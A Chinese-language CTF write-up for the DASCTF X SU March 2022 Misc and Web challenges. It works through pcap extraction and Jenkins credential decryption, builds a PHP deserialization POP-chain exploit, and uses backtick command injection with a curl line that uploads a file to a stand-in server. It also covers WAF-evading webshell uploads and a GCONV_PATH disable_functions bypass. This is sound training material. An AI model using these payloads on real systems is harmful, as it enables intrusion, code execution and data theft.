2022DASCTF X SU 三月春季挑战赛 ALL Misc&Web
字数 954 2025-08-07 08:22:33

DASCTF X SU 三月春季挑战赛 Misc & Web 题解

0x01 Misc 月圆之夜

题目分析

  1. 题目提供了魔文对照表链接:魔文对照表
  2. 流量包分析发现上传了jenkins_secret.zip

解题步骤

  1. 提取ICMP流量中的zip文件:
    tshark -r DASCTF.pcapng -T fields -e data.data -Y "icmp.seq<9 && icmp.type == 8" > 222.txt
    
  2. 处理提取的数据,删除多余字符和末尾的1337133711333377
  3. 使用jenkins-credentials-decryptor工具解密:
    ./jenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c ../credentials.xml -o json
    
  4. 获得SSH私钥,修复格式后连接:
    -----BEGIN OPENSSH PRIVATE KEY-----
    [修复后的私钥内容]
    -----END OPENSSH PRIVATE KEY-----
    
  5. 使用git log查看提交记录,回退到指定版本:
    git reset --hard 0084e77948215ec2abd031701ecbca87f1534264
    
  6. 解压得到的压缩包密码为397643258669
  7. 处理PNG图片(字节倒序):
    f = open('ZmxhZzQK.png', 'rb').read()
    flag = ''
    for i in f:
        flag += str(hex(i)[2:].zfill(2))
    print(flag[::-1])
    
  8. 最后得到的字符串使用Malbolge语言解释器解密:
    '&B$:?8=<;:3W76/4-Qrqponmlkjihgfedcbawv{zyxwvuts...'
    

最终flag

DASCTF{1_l0v3_m1sc_s0_much!}

0x02 Web

ezpop

题目分析

PHP反序列化题目,考察POP链构造

解题步骤

  1. 分析POP链:

    fin::__destruct → what::__toString → mix::run → crow::__invoke → fin::__call → mix::get_flag
    
  2. 构造exp:

    <?php
    class crow { public $v1; public $v2; }
    class fin { public $f1; }
    class what { public $a; }
    class mix { public $m1; }
    
    $o = new fin();
    $o->f1 = new what();
    $o->f1->a = new mix();
    $o->f1->a->m1 = new crow();
    $o->f1->a->m1->v1 = new fin();
    $o->f1->a->m1->v1->f1 = new mix();
    $o->f1->a->m1->v1->f1->m1= "\r\nsystem('ls /');";
    echo urlencode(serialize($o));
    

calc

题目分析

Python Flask应用,存在命令注入漏洞

解题步骤

  1. 利用反引号执行命令:
    /calc?num=123%23`ls%09/`
    
  2. 读取日志文件:
    /calc?num=123%23`curl%09-T%09/tmp/log.txt%09your_server:port`
    
  3. 获取flag

upgdstore

题目分析

PHP文件上传漏洞,存在WAF绕过

解题步骤

  1. 上传两个PHP文件:

    • 第一个:base64编码的一句话木马
      <?php echo('fil'.'e_get_contents')('/var/www/html/index.php'); ?>
      
    • 第二个:利用include+伪协议
      <?php Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0xMS5waHA=")); ?>
      
  2. 绕过disable_functions:

    • 方法一:使用SplFileObject写文件
    • 方法二:利用LD_PRELOAD
  3. 反弹shell:

    putenv("GCONV_PATH=/tmp/");
    show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");
    

关键知识点总结

  1. 流量分析

    • 使用tshark提取ICMP流量中的数据
    • 处理分块传输的数据
  2. Jenkins解密

    • 掌握jenkins-credentials-decryptor工具的使用
    • 理解master.key和hudson.util.Secret的作用
  3. POP链构造

    • 理解PHP魔术方法的触发条件
    • 掌握复杂对象链的构造方法
  4. 命令注入绕过

    • 反引号在Linux中的使用
    • 利用注释符绕过限制
  5. 文件上传绕过

    • 字符串拼接绕过WAF
    • 伪协议的使用
    • disable_functions的绕过方法
  6. 特殊编码

    • Malbolge语言的识别和处理
    • 字节顺序的处理技巧

这份文档涵盖了比赛中的关键解题思路和技术要点,适合作为CTF训练的教学材料。

DASCTF X SU 三月春季挑战赛 Misc & Web 题解 0x01 Misc 月圆之夜 题目分析 题目提供了魔文对照表链接: 魔文对照表 流量包分析发现上传了 jenkins_secret.zip 解题步骤 提取ICMP流量中的zip文件: 处理提取的数据,删除多余字符和末尾的 1337133711333377 使用 jenkins-credentials-decryptor 工具解密: 获得SSH私钥,修复格式后连接: 使用 git log 查看提交记录,回退到指定版本: 解压得到的压缩包密码为 397643258669 处理PNG图片(字节倒序): 最后得到的字符串使用Malbolge语言解释器解密: 最终flag DASCTF{1_l0v3_m1sc_s0_much!} 0x02 Web ezpop 题目分析 PHP反序列化题目,考察POP链构造 解题步骤 分析POP链: 构造exp: calc 题目分析 Python Flask应用,存在命令注入漏洞 解题步骤 利用反引号执行命令: 读取日志文件: 获取flag upgdstore 题目分析 PHP文件上传漏洞,存在WAF绕过 解题步骤 上传两个PHP文件: 第一个:base64编码的一句话木马 第二个:利用include+伪协议 绕过disable_ functions: 方法一:使用SplFileObject写文件 方法二:利用LD_ PRELOAD 反弹shell: 关键知识点总结 流量分析 : 使用tshark提取ICMP流量中的数据 处理分块传输的数据 Jenkins解密 : 掌握jenkins-credentials-decryptor工具的使用 理解master.key和hudson.util.Secret的作用 POP链构造 : 理解PHP魔术方法的触发条件 掌握复杂对象链的构造方法 命令注入绕过 : 反引号在Linux中的使用 利用注释符绕过限制 文件上传绕过 : 字符串拼接绕过WAF 伪协议的使用 disable_ functions的绕过方法 特殊编码 : Malbolge语言的识别和处理 字节顺序的处理技巧 这份文档涵盖了比赛中的关键解题思路和技术要点,适合作为CTF训练的教学材料。